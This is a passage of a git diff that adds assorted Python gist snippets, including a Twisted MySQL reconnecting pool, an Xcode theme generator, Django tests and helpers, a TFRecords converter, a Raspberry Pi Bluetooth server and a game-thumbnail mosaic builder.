+    - http://www.gelens.org/2009/09/13/twisted-connectionpool-revisited/
+    - http://twistedmatrix.com/pipermail/twisted-python/2009-July/020007.html
+
+    """
+    def _myRunInteraction(self, interaction, *args, **kw):
+        '''拷贝自 adbapi.ConnectionPool._runInteraction
+
+        简化了 _runInteraction:
+        
+        - 去掉对俘获到的异常的打印，而是交给下面的 _runInteraction 处理
+        - 取消 rollback 操作，有需要 rollback 的请注意，只是我从来没用过
+        '''
+        conn = self.connectionFactory(self)
+        trans = self.transactionFactory(self, conn)
+        result = interaction(trans, *args, **kw)
+        trans.close()
+        conn.commit()
+        return result
+
+    def _runInteraction(self, interaction, *args, **kw):
+        try:
+            return self._myRunInteraction(interaction, *args, **kw)
+        except MySQLdb.OperationalError, e:
+            if e[0] not in (2006, 2013):
+                raise
+            log.msg("MySQLdb: got error %s, retrying operation" %(e))
+            conn = self.connections.get(self.threadID())
+            self.disconnect(conn)
+            # try the interaction again
+            return self._myRunInteraction(interaction, *args, **kw)
+
+class InsertIdMixin:
+    """在Twisted下用MySQL adbapi获取自增id
+
+    http://blog.sina.com.cn/s/blog_6262a50e0101nbqc.html
+
+    """
+    def runMySQLInsert(self, *args, **kw):
+        return self.runInteraction(self._runMySQLInsert, *args, **kw)
+
+    def _runMySQLInsert(self, trans, *args, **kw):
+        trans.execute(*args, **kw)
+        return trans.connection.insert_id()
+
+
+class MultiQueryMixin:
+    """返回多个结果集
+    """
+    def runMultiQuery(self, *args, **kw):
+        return self.runInteraction(self._runMultiQuery, *args, **kw)
+
+    def _runMultiQuery(self, trans, *args, **kw):
+        result_sets = kw.pop("result_sets", None)
+
+        trans.execute(*args, **kw)
+
+        results = []
+        for i in itertools.count():
+            if not result_sets or i in result_sets:
+                results.append(trans.fetchall())
+            if not trans.nextset():
+                break
+
+        return results
+
+
+class ConnectionPool(ReconnectingMixin, InsertIdMixin, MultiQueryMixin, adbapi.ConnectionPool):
+    def __init__(self, *connargs, **connkw):
+        adbapi.ConnectionPool.__init__(self, 'MySQLdb', *connargs, **connkw)
diff --git a/hard-gists/817977/._snippet.py b/hard-gists/817977/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/817977/._snippet.py differ
diff --git a/hard-gists/817977/snippet.py b/hard-gists/817977/snippet.py
new file mode 100644
index 00000000..1a82640a
--- /dev/null
+++ b/hard-gists/817977/snippet.py
@@ -0,0 +1,47 @@
+#!/usr/bin/python
+
+import os
+import AppKit
+import Foundation
+
+theDictionary = {
+	'DVTConsoleDebuggerInputTextColor': '0 0 0 1',
+	'DVTConsoleDebuggerInputTextFont': 'Menlo-Bold - 11.0',
+	'DVTConsoleDebuggerOutputTextColor': '0 0 0 1',
+	'DVTConsoleDebuggerOutputTextFont': 'Menlo-Regular - 11.0',
+	'DVTConsoleDebuggerPromptTextColor': '0 0 0 1',
+	'DVTConsoleDebuggerPromptTextFont': 'Menlo-Bold - 11.0',
+	'DVTConsoleExectuableInputTextColor': '0 0 0 1',
+	'DVTConsoleExectuableInputTextFont': 'Menlo-Regular - 11.0',
+	'DVTConsoleExectuableOutputTextColor': '0 0 0 1',
+	'DVTConsoleExectuableOutputTextFont': 'Menlo-Bold - 11.0',
+	'DVTConsoleTextBackgroundColor': '1 1 1 1',
+	'DVTConsoleTextInsertionPointColor': '0 0 0 1',
+	'DVTConsoleTextSelectionColor': '0.737119 0.982014 0.469429 1',
+	'DVTDebuggerInstructionPointerColor': '0.705792 0.8 0.544 1',
+	'DVTSourceTextBackground': '1 1 1 1',
+	'DVTSourceTextBlockDimBackgroundColor': '0.5 0.5 0.5 1',
+	'DVTSourceTextInsertionPointColor': '0 0 0 1',
+	'DVTSourceTextInvisiblesColor': '0.5 0.5 0.5 1',
+	'DVTSourceTextSelectionColor': '0.737119 0.982014 0.469429 1',
+	'DVTSourceTextSyntaxFonts': {'xcode.syntax.plain': 'Menlo-Regular - 11.0'},
+	'DVTSourceTextSyntaxColors': {},
+	}
+
+theNames = ['attribute','character','comment','comment.doc','comment.doc.keyword','identifier.class','identifier.class.system','identifier.constant','identifier.constant.system','identifier.function','identifier.function.system','identifier.macro','identifier.macro.system','identifier.type','identifier.type.system','identifier.variable','identifier.variable.system','keyword','number','plain','preprocessor','string','url']
+
+
+for N, theName in enumerate(theNames):
+	theName = 'xcode.syntax.' + theName
+	theHue = float(N) / len(theNames)
+	theColor = AppKit.NSColor.colorWithDeviceHue_saturation_brightness_alpha_(theHue, 1, 1, 1)
+
+	theColor = theColor.colorUsingColorSpace_(AppKit.NSColorSpace.deviceRGBColorSpace())
+
+	theDictionary['DVTSourceTextSyntaxColors'][theName] = '%f %f %f %f' % (theColor.redComponent(), theColor.greenComponent(), theColor.blueComponent(), theColor.alphaComponent())
+
+print theDictionary
+
+theDictionary = Foundation.NSDictionary.dictionaryWithDictionary_(theDictionary)
+
+theDictionary.writeToFile_atomically_(os.path.expanduser('~/Desktop/Rainbow.dvtcolortheme'), True)
diff --git a/hard-gists/817a70706587da3bd862835c59ef584e/._snippet.py b/hard-gists/817a70706587da3bd862835c59ef584e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/817a70706587da3bd862835c59ef584e/._snippet.py differ
diff --git a/hard-gists/817a70706587da3bd862835c59ef584e/snippet.py b/hard-gists/817a70706587da3bd862835c59ef584e/snippet.py
new file mode 100644
index 00000000..4e4036e5
--- /dev/null
+++ b/hard-gists/817a70706587da3bd862835c59ef584e/snippet.py
@@ -0,0 +1,62 @@
+import os
+import io
+
+from PIL import Image
+
+from django.core.urlresolvers import reverse
+from django.conf import settings
+
+from rest_framework import status
+from rest_framework.test import APITestCase
+from rest_framework.authtoken.models import Token
+from rest_framework.renderers import JSONRenderer
+
+# Custom user model based on Django Auth AbstractUser
+from account.models import User
+
+class CrewUploadPhotoTests(APITestCase):
+
+    fixtures = []
+
+    maxDiff = None
+
+    def setUp(self):
+
+        # Normal user
+        self.normal_user = User.objects.create(
+            first_name="Bob",
+            last_name="Green",
+            username="bob@green.com",
+            email="bob@green.com",
+            is_active=True,
+            is_staff=False)
+        self.normal_user.set_password('demo1234')
+        self.normal_user.save()
+        self.normal_token, created = Token.objects.get_or_create(
+            user=self.normal_user)
+
+    def generate_photo_file(self):
+        file = io.BytesIO()
+        image = Image.new('RGBA', size=(100, 100), color=(155, 0, 0))
+        image.save(file, 'png')
+        file.name = 'test.png'
+        file.seek(0)
+        return file
+
+    def test_upload_photo(self):
+        """
+        Test if we can upload a photo
+        """
+
+        self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.normal_token.key)
+
+        url = reverse('crew-api:upload-photo', args=[self.normal_user.crew.uuid])
+
+        photo_file = self.generate_photo_file()
+
+        data = {
+                'photo':photo_file
+            }
+
+        response = self.client.post(url, data, format='multipart')
+        self.assertEqual(response.status_code, status.HTTP_200_OK)
\ No newline at end of file
diff --git a/hard-gists/8183993/._snippet.py b/hard-gists/8183993/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8183993/._snippet.py differ
diff --git a/hard-gists/8183993/snippet.py b/hard-gists/8183993/snippet.py
new file mode 100644
index 00000000..71869f8e
--- /dev/null
+++ b/hard-gists/8183993/snippet.py
@@ -0,0 +1,47 @@
+from django.core.paginator import Paginator, InvalidPage, EmptyPage
+
+
+def paginate(request, object_list, limit=10, page_range=10, object_pk=None):
+    paginator = Paginator(object_list, limit)
+    page = None
+    if object_pk:
+        if hasattr(object_list, 'values_list') and callable(
+                object_list.values_list):
+            object_list = list(object_list.values_list('pk', flat=True))
+        else:
+            try:
+                object_list = [o.pk for o in object_list]
+            except (AttributeError, TypeError):
+                # AttributeError if object_list has no count() method.
+                # TypeError if object_list.count() requires arguments
+                # (i.e. is of type list).
+                pass
+        try:
+            object_index = object_list.index(object_pk)
+        except ValueError:
+            pass
+        else:
+            page = int(ceil(float(object_index + 1) / limit))
+    try:
+        page = page or int(request.GET.get('page', 1))
+    except ValueError:
+        page = 1
+    try:
+        page_query = paginator.page(page)
+    except (EmptyPage, InvalidPage):
+        page_query = paginator.page(paginator.num_pages)
+
+    if page_query.paginator.num_pages <= page_range:
+        range_start = 1
+        range_end = page_query.paginator.num_pages + 1
+    else:
+        range_start = page - int(page_range / 2)
+        if range_start < 1:
+            range_start = 1
+        range_end = range_start + page_range
+        if range_end >= page_query.paginator.num_pages:
+            range_start = page_query.paginator.num_pages - page_range + 1
+            range_end = page_query.paginator.num_pages + 1
+    page_query.neighbor_range = range(range_start, range_end)
+
+    return page_query
diff --git a/hard-gists/8184301/._snippet.py b/hard-gists/8184301/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8184301/._snippet.py differ
diff --git a/hard-gists/8184301/snippet.py b/hard-gists/8184301/snippet.py
new file mode 100644
index 00000000..81911612
--- /dev/null
+++ b/hard-gists/8184301/snippet.py
@@ -0,0 +1,13 @@
+import urlparse
+
+from redis import Redis
+
+from waldo.common import config
+
+conf = config.current()
+dbstring = conf['connection_string']
+dbstring = urlparse.urlparse(dbstring)
+dbstring = "redis://" + dbstring.netloc + ":6329"
+redisclient = Redis.from_url(dbstring, db=3)
+redisclient.config_set('appendonly', 'yes')
+redisclient = redisclient
\ No newline at end of file
diff --git a/hard-gists/8185b3dcf08ec728fb22b99016dd533f/._snippet.py b/hard-gists/8185b3dcf08ec728fb22b99016dd533f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8185b3dcf08ec728fb22b99016dd533f/._snippet.py differ
diff --git a/hard-gists/8185b3dcf08ec728fb22b99016dd533f/snippet.py b/hard-gists/8185b3dcf08ec728fb22b99016dd533f/snippet.py
new file mode 100644
index 00000000..186cacb6
--- /dev/null
+++ b/hard-gists/8185b3dcf08ec728fb22b99016dd533f/snippet.py
@@ -0,0 +1,110 @@
+import numpy as np
+import tensorflow as tf
+
+__author__ = "Sangwoong Yoon"
+
+def np_to_tfrecords(X, Y, file_path_prefix, verbose=True):
+    """
+    Converts a Numpy array (or two Numpy arrays) into a tfrecord file.
+    For supervised learning, feed training inputs to X and training labels to Y.
+    For unsupervised learning, only feed training inputs to X, and feed None to Y.
+    The length of the first dimensions of X and Y should be the number of samples.
+    
+    Parameters
+    ----------
+    X : numpy.ndarray of rank 2
+        Numpy array for training inputs. Its dtype should be float32, float64, or int64.
+        If X has a higher rank, it should be rshape before fed to this function.
+    Y : numpy.ndarray of rank 2 or None
+        Numpy array for training labels. Its dtype should be float32, float64, or int64.
+        None if there is no label array.
+    file_path_prefix : str
+        The path and name of the resulting tfrecord file to be generated, without '.tfrecords'
+    verbose : bool
+        If true, progress is reported.
+    
+    Raises
+    ------
+    ValueError
+        If input type is not float (64 or 32) or int.
+    
+    """
+    def _dtype_feature(ndarray):
+        """match appropriate tf.train.Feature class with dtype of ndarray. """
+        assert isinstance(ndarray, np.ndarray)
+        dtype_ = ndarray.dtype
+        if dtype_ == np.float64 or dtype_ == np.float32:
+            return lambda array: tf.train.Feature(float_list=tf.train.FloatList(value=array))
+        elif dtype_ == np.int64:
+            return lambda array: tf.train.Feature(int64_list=tf.train.Int64List(value=array))
+        else:  
+            raise ValueError("The input should be numpy ndarray. \
+                               Instaed got {}".format(ndarray.dtype))
+            
+    assert isinstance(X, np.ndarray)
+    assert len(X.shape) == 2  # If X has a higher rank, 
+                               # it should be rshape before fed to this function.
+    assert isinstance(Y, np.ndarray) or Y is None
+    
+    # load appropriate tf.train.Feature class depending on dtype
+    dtype_feature_x = _dtype_feature(X)
+    if Y is not None:
+        assert X.shape[0] == Y.shape[0]
+        assert len(Y.shape) == 2
+        dtype_feature_y = _dtype_feature(Y)            
+    
+    # Generate tfrecord writer
+    result_tf_file = file_path_prefix + '.tfrecords'
+    writer = tf.python_io.TFRecordWriter(result_tf_file)
+    if verbose:
+        print "Serializing {:d} examples into {}".format(X.shape[0], result_tf_file)
+        
+    # iterate over each sample,
+    # and serialize it as ProtoBuf.
+    for idx in range(X.shape[0]):
+        x = X[idx]
+        if Y is not None:
+            y = Y[idx]
+        
+        d_feature = {}
+        d_feature['X'] = dtype_feature_x(x)
+        if Y is not None:
+            d_feature['Y'] = dtype_feature_y(y)
+            
+        features = tf.train.Features(feature=d_feature)
+        example = tf.train.Example(features=features)
+        serialized = example.SerializeToString()
+        writer.write(serialized)
+    
+    if verbose:
+        print "Writing {} done!".format(result_tf_file)
+
+        
+#################################    
+##      Test and Use Cases     ##
+#################################
+
+# 1-1. Saving a dataset with input and label (supervised learning)
+xx = np.random.randn(10,5)
+yy = np.random.randn(10,1)
+np_to_tfrecords(xx, yy, 'test1', verbose=True)
+
+# 1-2. Check if the data is stored correctly
+# open the saved file and check the first entries
+for serialized_example in tf.python_io.tf_record_iterator('test1.tfrecords'):
+    example = tf.train.Example()
+    example.ParseFromString(serialized_example)
+    x_1 = np.array(example.features.feature['X'].float_list.value)
+    y_1 = np.array(example.features.feature['Y'].float_list.value)
+    break
+    
+# the numbers may be slightly different because of the floating point error.
+print xx[0]
+print x_1
+print yy[0]
+print y_1
+
+
+# 2. Saving a dataset with only inputs (unsupervised learning)
+xx = np.random.randn(100,100)
+np_to_tfrecords(xx, None, 'test2', verbose=True)
\ No newline at end of file
diff --git a/hard-gists/8209b67ff556cb18651d/._snippet.py b/hard-gists/8209b67ff556cb18651d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8209b67ff556cb18651d/._snippet.py differ
diff --git a/hard-gists/8209b67ff556cb18651d/snippet.py b/hard-gists/8209b67ff556cb18651d/snippet.py
new file mode 100644
index 00000000..4f433748
--- /dev/null
+++ b/hard-gists/8209b67ff556cb18651d/snippet.py
@@ -0,0 +1,89 @@
+import os
+import glob
+import time
+import RPi.GPIO as GPIO
+from bluetooth import *
+
+os.system('modprobe w1-gpio')
+os.system('modprobe w1-therm')
+
+GPIO.setmode(GPIO.BCM)
+GPIO.setup(17, GPIO.OUT)
+
+base_dir = '/sys/bus/w1/devices/'
+device_folder = glob.glob(base_dir + '28*')[0]
+device_file = device_folder + '/w1_slave'
+
+def read_temp_raw():
+    f = open(device_file, 'r')
+    lines = f.readlines()
+    f.close()
+    return lines
+
+def read_temp():
+    lines = read_temp_raw()
+    while lines[0].strip()[-3:] != 'YES':
+        time.sleep(0.2)
+        lines = read_temp_raw()
+    equals_pos = lines[1].find('t=')
+    if equals_pos != -1:
+        temp_string = lines[1][equals_pos+2:]
+        temp_c = float(temp_string) / 1000.0
+        temp_f = temp_c * 9.0 / 5.0 + 32.0
+        return temp_c
+	
+#while True:
+#	print(read_temp())	
+#	time.sleep(1)
+
+
+server_sock=BluetoothSocket( RFCOMM )
+server_sock.bind(("",PORT_ANY))
+server_sock.listen(1)
+
+port = server_sock.getsockname()[1]
+
+uuid = "94f39d29-7d6d-437d-973b-fba39e49d4ee"
+
+advertise_service( server_sock, "AquaPiServer",
+                   service_id = uuid,
+                   service_classes = [ uuid, SERIAL_PORT_CLASS ],
+                   profiles = [ SERIAL_PORT_PROFILE ], 
+#                   protocols = [ OBEX_UUID ] 
+                    )
+while True:          
+	print "Waiting for connection on RFCOMM channel %d" % port
+
+	client_sock, client_info = server_sock.accept()
+	print "Accepted connection from ", client_info
+
+	try:
+	        data = client_sock.recv(1024)
+        	if len(data) == 0: break
+	        print "received [%s]" % data
+
+		if data == 'temp':
+			data = str(read_temp())+'!'
+		elif data == 'lightOn':
+			GPIO.output(17,False)
+			data = 'light on!'
+		elif data == 'lightOff':
+			GPIO.output(17,True)
+			data = 'light off!'
+		else:
+			data = 'WTF!' 
+	        client_sock.send(data)
+		print "sending [%s]" % data
+
+	except IOError:
+		pass
+
+	except KeyboardInterrupt:
+
+		print "disconnected"
+
+		client_sock.close()
+		server_sock.close()
+		print "all done"
+
+		break
diff --git a/hard-gists/821473a1596f1429024cb1eadb471927/._snippet.py b/hard-gists/821473a1596f1429024cb1eadb471927/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/821473a1596f1429024cb1eadb471927/._snippet.py differ
diff --git a/hard-gists/821473a1596f1429024cb1eadb471927/snippet.py b/hard-gists/821473a1596f1429024cb1eadb471927/snippet.py
new file mode 100644
index 00000000..855c161d
--- /dev/null
+++ b/hard-gists/821473a1596f1429024cb1eadb471927/snippet.py
@@ -0,0 +1,57 @@
+#!/usr/bin/env python
+
+import logging
+from optparse import OptionParser
+import os
+from osgeo import ogr
+
+def log_file_fields(filename):
+    print("File: " + filename)
+    source = ogr.Open(filename)
+
+    for i in range(source.GetLayerCount()):
+        layer = source.GetLayerByIndex(i)
+        layerName = layer.GetName()
+        print("Layer: " + layerName)
+        stringFields = []
+        layerDefinition = layer.GetLayerDefn()
+        for n in range(layerDefinition.GetFieldCount()):
+            fieldDefinition = layerDefinition.GetFieldDefn(n)
+            fieldName =  fieldDefinition.GetName()
+            fieldTypeCode = fieldDefinition.GetType()
+            fieldType = fieldDefinition.GetFieldTypeName(fieldTypeCode)
+            if fieldType == "String":
+                stringFields.append(fieldName)
+    
+        print("String Fields:")
+        for field in stringFields:
+            sql = 'SELECT %s FROM %s' % (field, layerName)
+            fieldLayer = source.ExecuteSQL(sql)
+            values = {}
+            for i, feature in enumerate(fieldLayer):
+                values[feature.GetField(0)] = values.get(feature.GetField(0), 0) + 1
+        
+            print("Field: " + field)
+            for key in sorted(values.keys()):
+                print("'%s': %d" % (key, values[key]))
+            print("\n")
+
+def _main():
+    usage = "usage: %prog"
+    parser = OptionParser(usage=usage,
+                          description="")
+    parser.add_option("-d", "--debug", action="store_true", dest="debug",
+                      help="Turn on debug logging")
+    parser.add_option("-q", "--quiet", action="store_true", dest="quiet",
+                      help="turn off all logging")
+
+    (options, args) = parser.parse_args()
+ 
+    logging.basicConfig(level=logging.DEBUG if options.debug else
+    (logging.ERROR if options.quiet else logging.INFO))
+
+    for arg in args:
+        log_file_fields(arg)
+
+if __name__ == "__main__":
+    _main()
\ No newline at end of file
diff --git a/hard-gists/8219574/._snippet.py b/hard-gists/8219574/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8219574/._snippet.py differ
diff --git a/hard-gists/8219574/snippet.py b/hard-gists/8219574/snippet.py
new file mode 100644
index 00000000..8911929d
--- /dev/null
+++ b/hard-gists/8219574/snippet.py
@@ -0,0 +1,270 @@
+import urllib, re, os, urlparse, json, random, sys, getopt, gzip, math, time
+from multiprocessing.dummy import Pool as ThreadPool
+from cStringIO import StringIO
+import Image
+ 
+def download_all_thumbs(ld_num=28,dest_folder="thumbs"):
+    
+    event_name = 'ludum-dare-%d' % ld_num
+    entries_page_url_template = "http://www.ludumdare.com/compo/%s/?action=preview&etype=&start=%%d" % event_name
+    
+    if not os.path.exists(dest_folder):
+        os.makedirs(dest_folder)
+        
+    pool = ThreadPool()
+        
+    def get_games_on_page(url):
+        r"""return a list of match objects
+            action will be in group 1.
+            id will be in group 2.  
+            url to thumbnail will be in group 3
+            game title will be in group 4
+            author will be in group 5"""
+        entry_re = re.compile(r"<a href='\?action=(\w+)&uid=([0-9]+)'><img src='([^']*)'><div class='title'><i>(.*?)</i></div>(.*?)</a></div>")
+        f = urllib.urlopen(url)
+        contents = f.read().decode('utf-8','replace')
+        f.close()
+        return entry_re.findall(contents)
+        
+    def download_thumb(entry):
+        action,uid,thumburl,title,author = entry
+        author = author.encode('ascii','replace')
+        title = title.encode('ascii','replace')
+        ext = os.path.splitext(urlparse.urlparse(thumburl).path)[1] or ".jpg"
+        print "\tfound %s %s's game %s"%(uid,author,title)  
+        thumbfile = "%s/%s%s"%(dest_folder,uid,ext)
+        if not os.path.exists(thumbfile):
+            src = urllib.urlopen(thumburl)
+            if src.code != 200:
+                print "ERROR downloading %s %s's game %s: %s %s"%(uid,author,title,thumburl,src.code)
+                thumbfile = None
+            else:
+                bytes = src.read()
+                src.close()
+                with open(thumbfile,"w") as dest:
+                    dest.write(bytes)
+        return (action,uid,thumburl,title,author,thumbfile)
+        
+    game_matches = []
+    game_count = 0
+    while True:
+        page = entries_page_url_template % (game_count)
+        print "%d: getting games on page: %s"%(game_count,page)
+        page_matches = get_games_on_page(page)
+        if 0==len(page_matches):
+            print "done!",len(game_matches),"games found."
+            break
+        game_count += len(page_matches)
+        game_matches.extend(pool.map(download_thumb,page_matches))
+    return game_matches
+    
+class Game:
+    def __init__(self,args):
+        action, self.uid, self.thumburl, self.title, self.author, self.thumbfile = args
+        if not self.thumbfile:
+            print "SKIPPING %s: NO THUMBNAIL"%self
+            self.img = None
+            self.aspect = 0
+        else:
+            with open(self.thumbfile) as f:
+                self.img = Image.open(StringIO(f.read())) # problem with too-many-files-open errors
+            if self.img.mode != "RGB":
+                print "CONVERTING %s from %s to RGB"%(self,self.img.mode)
+                self.img = self.img.convert("RGB")
+            self.aspect = float(self.img.size[1])/(self.img.size[0] or 1)
+        self.placed = None
+    def compute_mse(self,target_data,target_w,target_h,patch_w,patch_h):
+        # TODO multiprocessing? or numpy?
+        img = self.img.resize((patch_w,patch_h),Image.ANTIALIAS).load()
+        self.mse = []
+        rows, cols, i = target_h/patch_h, target_w/patch_w, 0
+        for y in range(rows):
+            yofs = y * patch_h
+            for x in range(cols):
+                xofs = x * patch_w
+                err = 0
+                for yy in range(patch_h):
+                    for xx in range(patch_w):
+                        target = target_data[xofs+xx,yofs+yy]
+                        src = img[xx,yy]
+                        err += sum((a-b)**2 for a,b in zip(target,src))
+                self.mse.append((err,i))
+                i += 1
+    def __str__(self):
+        return "%s %s's game %s"%(self.uid,self.author,self.title)
+    
+if __name__=="__main__":
+    
+    opts, args = getopt.getopt(sys.argv[1:],"",
+        ("ld-num=","algo=","target-image=","thumb-width=","patch-width="))
+    opts = dict(opts)
+    ld_num = int(opts.get("--ld-num","29"))
+    algo = opts.get("--algo","greedy")
+    if algo not in ("greedy","timed","test"):
+        sys.exit("unsupported algo %s" % algo)
+    if len(args) == 1:
+        target_filename = args[0]
+    elif args:
+        sys.exit("unsupported argument %s" % args[0])
+    else:
+        target_filename = None
+    
+    index_file = "%d.json"%ld_num
+ 
+    # thumbs not already downloaded?
+    if not os.path.exists(index_file):
+        index = download_all_thumbs(ld_num)
+        with open(index_file,"w") as out:
+            json.dump(index,out)
+    else:
+        # load the index
+        with open(index_file) as index:
+            index = json.load(index)
+     
+    # open all the images
+    games = filter(lambda x: x.img,map(Game,index))
+    print "loaded %d games for ld %d"%(len(games),ld_num)
+ 
+    # load the target image
+    target_imagename = opts.get("--target-image","mona_lisa.jpg")
+    target = Image.open(target_imagename)
+    print "target image %s is %dx%d"%(target_imagename,target.size[0],target.size[1])
+    target_prefix = "%d.%s" % (ld_num, os.path.splitext(os.path.basename(target_imagename))[0])
+    
+    # work out target size
+    thumb_aspect = sum(game.aspect for game in games) / len(games)
+    patch_w = int(opts.get("--patch-width","10"))
+    patch_h = int(float(patch_w)*thumb_aspect)
+    print "patches are %dx%d"%(patch_w,patch_h)
+    target_w, target_h = target.size
+    target_aspect = float(target_w) / target_h
+    cols, rows = 1, 1
+    while cols*rows < len(games):
+        col_asp = float((cols+1)*patch_w) / (math.ceil(float(len(games)) / (cols+1))*patch_h)
+        row_asp = float(cols*patch_w) / (math.ceil(float(len(games)) / cols)*patch_h)
+        if abs(col_asp-target_aspect) < abs(row_asp-target_aspect):
+            cols += 1
+        else:
+            rows += 1
+    target_w = cols * patch_w
+    target_h = rows * patch_h
+    print "target is %dx%d tiles, %dx%d pixels"%(cols,rows,target_w,target_h)
+    print "there are %d tiles and %d images"%(cols*rows,len(games))
+    assert cols and rows
+    target_data = target.convert("RGB").resize((target_w,target_h),Image.ANTIALIAS).load()
+    
+    # compute MSE
+    if algo != "test":
+        start_time = time.clock()
+        mse_file = "%s.mse.json.gz"%target_prefix
+        if not os.path.exists(mse_file):
+            print "computing Mean Square Error (MSE) for each thumbnail for each tile in the target:"
+            for game in games:
+                sys.stdout.write(".")
+                sys.stdout.flush()
+                game.compute_mse(target_data,target_w,target_h,patch_w,patch_h)
+            gzip.open(mse_file,"wb",9).write(json.dumps({game.uid:game.mse for game in games}))
+        else:
+            print "loading MSE matches from file..."
+            data = json.loads(gzip.open(mse_file,"rb").read())
+            for game in games:
+                game.mse = data[game.uid]
+        print "took",int(time.clock()-start_time),"seconds"
+ 
+    # work out output size etc
+    thumb_w = int(opts.get("--thumb-width","30"))
+    thumb_h = int(round(float(thumb_w)*thumb_aspect))
+    out_w, out_h = cols*thumb_w, rows*thumb_h
+    print "thumbs are %dx%d"%(thumb_w,thumb_h)
+    print "output is %dx%d"%(out_w,out_h)
+    out = Image.new("RGB",(out_w,out_h))
+    
+    # place them
+    print "%s placement:" % algo
+    start_time = time.clock()
+    used = {}
+    placements = 0
+    score = 0
+    def place(game,err,xy):
+        global placements, score
+        x = xy % cols
+        y = xy // cols
+        game.placed = (x*thumb_w,y*thumb_h)
+        used[xy] = (err,game)
+        sys.stdout.write(".")
+        sys.stdout.flush()
+        placements += 1
+        score += err
+    if algo == "test":
+        index = range(len(games))
+        random.shuffle(index)
+        for i,game in enumerate(games):
+            place(game,None,index[i])
+    elif algo in ("greedy","timed"):
+        print "sorting MSE scores..."
+        matches = []
+        for game in games:
+            for mse in game.mse:
+                matches.append((mse[0],mse[1],game))
+        matches = sorted(matches)
+        print "took",int(time.clock()-start_time),"seconds"
+        start_time = time.clock()
+        for err, xy, game in matches:
+            if game.placed: continue
+            if xy in used: continue
+            place(game,err,xy)
+    else:
+        raise Exception("unsupported algo %s" % algo)
+    print " ",placements,"placements made in",int(time.clock()-start_time),"seconds, scoring",score
+    
+    if algo == "timed":
+        for game in games:
+            game.scores = {xy:err for err,xy in game.mse}
+        try:
+            start_time = time.clock()
+            start_score = score
+            placements = 0
+            while True:
+                src_pos = random.randint(1,cols*rows) - 1
+                dest_pos = random.randint(1,cols*rows) - 1
+                if src_pos not in used or src_pos == dest_pos:
+                    continue
+                test = score
+                src_err, src = used[src_pos]
+                test -= src_err
+                test += src.scores[dest_pos]
+                if dest_pos in used:
+                    dest_err, dest = used[dest_pos]
+                    test -= dest_err
+                    test += dest.scores[src_pos]
+                if test < score:
+                    if dest_pos in used:
+                        score -= dest_err
+                        place(dest,dest.scores[src_pos],src_pos)
+                    else:
+                        del used[src_pos]
+                    score -= src_err
+                    place(src,src.scores[dest_pos],dest_pos)
+                    assert score == test, (score, test)
+        except KeyboardInterrupt:
+            pass
+        print " ",placements,"improvements made in",int(time.clock()-start_time),"seconds, scoring",score,"(%d improvement)"%(start_score-score)
+        
+    # actually paste them into the output mosaic
+    for game in games:
+        if not game.placed:
+            print "game %s not placed :("%game
+        else:
+            out.paste(game.img.resize((thumb_w,thumb_h),Image.ANTIALIAS),game.placed)
+
+    
+    # done
+    if target_filename:
+        target_prefix, target_ext = os.path.splitext(os.path.basename(target_filename))
+    else:
+        target_prefix += ".%s"%algo
+        target_ext = ".jpg"
+    print "saving %s%s"%(target_prefix,target_ext)
+    out.save("%s%s"%(target_prefix,target_ext))
+    print "saving %s.idx.json"%target_prefix
+    json.dump({game.uid:game.placed for game in games},open("%s.idx.json"%target_prefix,"w"))
\ No newline at end of file
diff --git a/hard-gists/822643/._snippet.py b/hard-gists/822643/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/822643/._snippet.py differ
diff --git a/hard-gists/822643/snippet.py b/hard-gists/822643/snippet.py
new file mode 100644
index 00000000..0c7f57a5
--- /dev/null
+++ b/hard-gists/822643/snippet.py
@@ -0,0 +1,29 @@
+import SCons.Defaults
+import SCons.Builder
+
+OriginalShared = SCons.Defaults.SharedObjectEmitter
+OriginalStatic = SCons.Defaults.StaticObjectEmitter
+
+def DoLint(env, source):
+    for s in source:
+        env.Lint(s.srcnode().path + ".lint", s)
+
+def SharedObjectEmitter(target, source, env):
+    DoLint(env, source)
+    return OriginalShared(target, source, env)
+
+def StaticObjectEmitter(target, source, env):
+    DoLint(env, source)
+    return OriginalStatic(target, source, env)
+
+def generate(env):
+    SCons.Defaults.SharedObjectEmitter = SharedObjectEmitter
+    SCons.Defaults.StaticObjectEmitter = StaticObjectEmitter
+    linter = SCons.Builder.Builder(
+        action='$LINT $LINT_OPTIONS $SOURCE ; date > $TARGET',
+        suffix='.lint',
+        src_suffix='.c')
+    env.Append(BUILDERS={'Lint': linter})
+
+def exists(env):
+    return 1
\ No newline at end of file
diff --git a/hard-gists/8232376/._snippet.py b/hard-gists/8232376/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8232376/._snippet.py differ
diff --git a/hard-gists/8232376/snippet.py b/hard-gists/8232376/snippet.py
new file mode 100644
index 00000000..07bd77e9
--- /dev/null
+++ b/hard-gists/8232376/snippet.py
@@ -0,0 +1,42 @@
+#!/usr/bin/env python3
+# coding: utf8
+# GistID: 8232376
+
+import optparse
+import sys
+from subprocess import check_call
+from urllib.parse import urlparse, quote, urlencode
+
+
+def parseargs(argv=sys.argv):
+    parser = optparse.OptionParser()
+    parser.add_option('-g', '--genre', help="Genre", dest='genre')
+    return parser.parse_args(argv)
+
+
+def soundcloud_uri(query, options=None, mode='search'):
+    options = options or {}
+    options = {k: v for k, v in options.items() if v}
+    url = "soundcloud://{}/{}?{}"
+    return url.format(mode, quote(query), urlencode(options))
+
+
+
+def main():
+    cmd = ['mpc', 'load']
+    MODES = set(("search", "user", "tracks", "url", "playlist"))
+
+    argv = list(sys.argv)[1:]
+    if argv[0] in MODES:
+        mode = argv.pop(0)
+    else:
+        mode = 'search'
+    opt, args = parseargs(argv)
+    query = ' '.join(args)
+    url = soundcloud_uri(query, vars(opt), mode)
+    cmd.append(url)
+    print(cmd)
